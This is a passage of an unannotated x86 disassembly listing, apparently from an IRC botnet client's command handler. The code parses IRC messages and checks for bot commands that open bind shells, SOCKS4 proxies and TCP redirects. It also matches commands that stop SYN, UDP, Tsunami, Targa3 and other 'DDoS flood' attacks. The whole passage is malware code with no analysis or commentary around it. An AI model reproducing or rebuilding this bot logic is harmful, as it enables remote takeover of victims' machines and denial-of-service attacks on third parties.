loc_4021C4:				; CODE XREF: sub_401C87+529j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4021AE
		mov	esi, [ebp+var_8C]

loc_4021D6:				; CODE XREF: sub_401C87+520j
		push	esi
		push	offset a353	; "353"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40227A
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402205
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_402205:				; CODE XREF: sub_401C87+573j
		push	[ebp+var_80]
		push	offset unk_43FC4C

loc_40220D:				; CODE XREF: sub_401C87+2877j
					; sub_401C87+2C2Fj ...
		call	sub_415AB0

loc_402212:				; CODE XREF: sub_401C87+1B92j
		pop	ecx

loc_402213:				; CODE XREF: sub_401C87+590Fj
		pop	ecx
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_402219:				; CODE XREF: sub_401C87+53Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_43FC6C
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		push	[ebp+var_8C]
		push	offset aPart_0	; "PART"
		call	sub_41F7E0
		add	esp, 18h
		test	eax, eax
		jnz	loc_4076C4
		lea	eax, [ebp+var_2C0]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_40202F
; ---------------------------------------------------------------------------

loc_40227A:				; CODE XREF: sub_401C87+55Ej
		push	esi
		push	offset aPrivmsg	; "PRIVMSG"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022BD
		push	esi
		push	offset aNotice	; "NOTICE"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022BD
		push	esi
		push	offset a332	; "332"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A67
		cmp	dword_43F08C, ebx
		jz	loc_409A67

loc_4022BD:				; CODE XREF: sub_401C87+602j
					; sub_401C87+613j
		push	esi
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402431
		push	esi
		push	offset aNotice_0 ; "NOTICE"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402431
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+var_88], eax

loc_402300:				; CODE XREF: sub_401C87+864j
					; sub_401C87+89Aj ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_90]
		mov	eax, [edi]
		push	eax
		push	offset dword_43FCCC
		mov	[ebp+arg_8], eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4026D0
		push	[ebp+esi+var_8C]
		push	offset aSend_1	; "SEND"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40259B
		cmp	[ebp+var_A8], ebx
		jz	loc_402571
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_1B80]
		push	offset aS_20	; "%s"
		push	eax
		call	sub_41EA60
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_1B94]
		push	offset aS_21	; "%s"
		push	eax
		call	sub_41EA60
		push	[ebp+esi+var_80]
		call	sub_41E710
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_43FCE4
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40B691
		add	esp, 44h
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset sub_416B2D
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jz	loc_402560
		jmp	loc_402556
; ---------------------------------------------------------------------------

loc_402431:				; CODE XREF: sub_401C87+645j
					; sub_401C87+65Aj
		push	esi
		push	offset aNotice_1 ; "NOTICE"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402449
		mov	[ebp+var_4], 1

loc_402449:				; CODE XREF: sub_401C87+7B9j
		mov	edi, [ebp+var_88]
		cmp	edi, ebx
		jz	loc_4076C4
		push	offset asc_43FD1C ; "#"
		push	edi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40246D
		cmp	[ebp+var_4], ebx
		jz	short loc_402479

loc_40246D:				; CODE XREF: sub_401C87+7DFj
		lea	edi, [ebp+var_C0]
		mov	[ebp+var_88], edi

loc_402479:				; CODE XREF: sub_401C87+7E4j
		cmp	[ebp+var_84], ebx
		jz	loc_4076C4
		inc	[ebp+var_84]
		jz	short loc_4024C1
		cmp	[ebp+arg_10], ebx
		jz	short loc_4024C1
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41BC70
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41F5E0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax

loc_4024C1:				; CODE XREF: sub_401C87+804j
					; sub_401C87+809j
		mov	eax, [ebp+var_A4]
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_90]
		cmp	esi, ebx
		jz	loc_4076C4
		push	esi
		push	offset dword_43FD20
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402300
		cmp	byte ptr [edi],	23h
		jz	short loc_402512
		mov	eax, dword_4E2F34
		mov	eax, off_43F1E8[eax*4]
		cmp	[eax], bl
		jz	short loc_402512
		push	eax
		push	edi
		push	offset dword_43FD2C
		jmp	loc_40202F
; ---------------------------------------------------------------------------

loc_402512:				; CODE XREF: sub_401C87+86Dj
					; sub_401C87+87Dj
		push	esi
		push	offset dword_43FD48
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402300
		mov	eax, [ebp+arg_8]
		mov	eax, [ebp+eax+var_8C]
		cmp	eax, ebx
		jz	loc_402300
		cmp	byte ptr [edi],	23h
		jz	loc_402300
		push	eax
		push	edi
		push	offset dword_43FD50
		jmp	loc_40202F
; ---------------------------------------------------------------------------

loc_40254E:				; CODE XREF: sub_401C87+8D5j
		push	32h
		call	dword_4F534C	; Sleep

loc_402556:				; CODE XREF: sub_401C87+7A5j
		cmp	[ebp+var_19EC],	ebx
		jz	short loc_40254E
		jmp	short loc_402593
; ---------------------------------------------------------------------------

loc_402560:				; CODE XREF: sub_401C87+79Fj
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43FD68
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_402571:				; CODE XREF: sub_401C87+6C6j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset unk_43FDA8
		push	eax
		call	sub_41EA60
		add	esp, 10h

loc_402593:				; CODE XREF: sub_401C87+8D7j
					; sub_401C87+A22j ...
		xor	esi, esi
		inc	esi
		jmp	loc_406F42
; ---------------------------------------------------------------------------

loc_40259B:				; CODE XREF: sub_401C87+6BAj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4026E6
		cmp	[ebp+var_A8], ebx
		jz	loc_4026BF
		push	1Bh
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jnz	loc_4026AE
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS	; "%s"
		push	eax
		call	sub_41EA60
		push	[ebp+esi+var_80]
		call	sub_41E710
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_43FDF8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Bh
		push	eax
		call	sub_40B691
		add	esp, 34h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset sub_4165C7
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4026A1
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43FE18
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_402699:				; CODE XREF: sub_401C87+A20j
		push	32h
		call	dword_4F534C	; Sleep

loc_4026A1:				; CODE XREF: sub_401C87+9FFj
		cmp	[ebp+var_2900],	ebx
		jz	short loc_402699
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_4026AE:				; CODE XREF: sub_401C87+945j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_43FE50
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_4026BF:				; CODE XREF: sub_401C87+935j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_43FE80
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_4026D0:				; CODE XREF: sub_401C87+69Fj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_43F098
		mov	[edi], ecx
		jnz	loc_4076C4

loc_4026E6:				; CODE XREF: sub_401C87+929j
		mov	edi, [edi]
		push	edi
		push	offset aKlone	; "klone"
		mov	[ebp+arg_8], edi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A6F
		push	edi
		push	offset aK	; "k"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A6F
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402737
		push	[ebp+var_8C]
		push	offset a332_0	; "332"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A67

loc_402737:				; CODE XREF: sub_401C87+A94j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409A67
		xor	edi, edi
		cmp	dword_43FA48, ebx
		jle	loc_4028E4
		mov	[ebp+arg_20], offset dword_455240

loc_402755:				; CODE XREF: sub_401C87+AEDj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40277B
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_43FA48
		jl	short loc_402755
		jmp	loc_4028E4
; ---------------------------------------------------------------------------

loc_40277B:				; CODE XREF: sub_401C87+ADDj
		push	offset asc_43FEC0 ; " :"
		push	[ebp+arg_0]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4076C4
		mov	cl, byte_43F098
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_43F098
		mov	[eax+3], cl
		lea	ecx, dword_455258[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41E510
		lea	eax, dword_455240[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	edi, [ebp+esi+var_50]

loc_4027D6:				; CODE XREF: sub_401C87+BF2j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d-"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402838
		cmp	[edi], ebx
		jz	short loc_40283C
		push	[ebp+arg_20]
		call	sub_41BC70
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402870
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402870
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4189CD
		add	esp, 0Ch
		jmp	short loc_402870
; ---------------------------------------------------------------------------

loc_402838:				; CODE XREF: sub_401C87+B77j
		cmp	[edi], ebx
		jnz	short loc_402870

loc_40283C:				; CODE XREF: sub_401C87+B7Bj
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4189CD
		add	esp, 18h

loc_402870:				; CODE XREF: sub_401C87+B89j
					; sub_401C87+B9Aj ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4027D6
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax

loc_40288C:				; CODE XREF: sub_401C87+C51j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4028CF
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4028CF
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4189CD
		add	esp, 0Ch

loc_4028CF:				; CODE XREF: sub_401C87+C2Dj
					; sub_401C87+C33j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_40288C
		mov	[ebp+var_2C4], 1

loc_4028E4:				; CODE XREF: sub_401C87+AC1j
					; sub_401C87+AEFj
		lea	eax, [ebp+esi+var_90]
		mov	edi, [eax]
		mov	cl, [edi]
		cmp	cl, byte_43F098
		jz	short loc_402903
		cmp	[ebp+var_2C4], ebx
		jz	loc_402AEC

loc_402903:				; CODE XREF: sub_401C87+C6Ej
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4189CD
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser	; "$user"
		push	edi
		call	sub_4189CD
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4189CD
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B38F
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4189CD
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer	; "$server"
		push	edi
		call	sub_4189CD
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41EBB0
		add	esp, 14h
		jmp	loc_402A6E
; ---------------------------------------------------------------------------

loc_40297A:				; CODE XREF: sub_401C87+DE9j
		push	offset aChr_0	; "$chr("
		push	[ebp+arg_0]
		call	sub_41EBB0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_A0]
		push	offset asc_43FF06 ; ")"
		push	eax
		call	sub_41F870
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_4029C2
		cmp	[ebp+var_A0], 39h
		jle	short loc_4029D8

loc_4029C2:				; CODE XREF: sub_401C87+D30j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_4029D8:				; CODE XREF: sub_401C87+D39j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jle	short loc_4029FE
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41E710
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402A12
; ---------------------------------------------------------------------------

loc_4029FE:				; CODE XREF: sub_401C87+D60j
		call	sub_41EB70
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402A12:				; CODE XREF: sub_401C87+D75j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41BC70
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41E4B0
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4189CD
		push	edi
		push	[ebp+arg_0]
		call	sub_41EBB0
		add	esp, 30h

loc_402A6E:				; CODE XREF: sub_401C87+CEEj
		test	eax, eax
		jnz	loc_40297A
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_4AF0]
		push	offset asc_43FF0C ; "  "
		push	eax
		call	sub_41F870
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_90], eax
		inc	edi

loc_402ABC:				; CODE XREF: sub_401C87+E4Dj
		push	43FF0Eh
		push	ebx
		call	sub_41F870
		mov	[ebp+edi*4+var_90], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_402ABC
		lea	eax, [ebp+esi+var_90]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_4076C4
		add	ecx, 3
		mov	[eax], ecx

loc_402AEC:				; CODE XREF: sub_401C87+C76j
		mov	edi, [eax]
		push	edi
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A1A
		push	edi
		push	offset aRn	; "rn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A1A
		push	edi
		push	offset aDie	; "die"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BA2
		push	edi
		push	offset aD_1	; "d"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BA2
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B04
		push	edi
		push	offset aLo	; "lo"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B04
		push	edi
		push	offset aVersion	; "version"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AF5
		push	edi
		push	offset aVer	; "ver"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AF5
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AEB
		push	edi
		push	offset aDed	; "ded"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AEB
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AD2
		push	edi
		push	offset aSt	; "st"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404AD2
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049D5
		push	edi
		push	offset aSec	; "sec"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049D5
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049D5
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049D5
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048D0
		push	edi
		push	offset aBd	; "bd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048D0
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAB
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_1 ; "Server"
		push	offset dword_43FFA4

loc_402C8F:				; CODE XREF: sub_401C87+1072j
					; sub_401C87+1098j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B919
		add	esp, 20h
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_402CAB:				; CODE XREF: sub_401C87+FF3j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047AF
		push	edi
		push	offset aS4	; "s4"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047AF
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CFB
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_2 ; "Server"
		push	offset dword_43FFD8
		jmp	short loc_402C8F
; ---------------------------------------------------------------------------

loc_402CFB:				; CODE XREF: sub_401C87+105Dj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D24
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_3 ; "Server"
		push	offset dword_43FFFC
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402D24:				; CODE XREF: sub_401C87+1083j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D4D
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_4 ; "Server"
		push	offset dword_440020
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402D4D:				; CODE XREF: sub_401C87+10ACj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D76
		push	[ebp+esi+var_8C]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_440044
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402D76:				; CODE XREF: sub_401C87+10D5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D9F
		push	[ebp+esi+var_8C]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_440070
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402D9F:				; CODE XREF: sub_401C87+10FEj
		push	edi
		push	offset dword_440080
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DC8
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_44008C
		push	offset dword_440098
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402DC8:				; CODE XREF: sub_401C87+1127j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DF1
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_4400B8
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402DF1:				; CODE XREF: sub_401C87+1150j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E1A
		push	[ebp+esi+var_8C]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_4400E0
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402E1A:				; CODE XREF: sub_401C87+1179j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E43
		push	[ebp+esi+var_8C]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_44010C
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402E43:				; CODE XREF: sub_401C87+11A2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E6C
		push	[ebp+esi+var_8C]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_440134
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402E6C:				; CODE XREF: sub_401C87+11CBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402FC2
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_440158
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		push	esi
		push	0Eh
		push	offset dword_440164
		push	offset dword_440170
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_44017C
		push	offset dword_440188
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		push	esi
		push	16h
		push	offset dword_440194
		push	offset dword_4401A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_4401AC
		push	offset dword_4401BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		push	esi
		push	12h
		push	offset dword_4401CC
		push	offset dword_4401D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_4401E4
		push	offset dword_4401F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		push	esi
		push	13h
		push	offset dword_440204
		push	offset dword_440214
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_440224
		push	offset dword_440234
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B919
		push	ebx
		push	[ebp+var_4]
		push	offset unk_440244
		push	[ebp+var_88]
		push	edi
		call	sub_409C75
		add	esp, 34h
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_402FC2:				; CODE XREF: sub_401C87+11F4j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FEB
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_440294
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_402FEB:				; CODE XREF: sub_401C87+134Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403014
		push	[ebp+esi+var_8C]
		push	13h
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_4402C0
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_403014:				; CODE XREF: sub_401C87+1373j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40303D
		push	[ebp+esi+var_8C]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_4402E4
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_40303D:				; CODE XREF: sub_401C87+139Cj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41F7E0
		pop	ecx
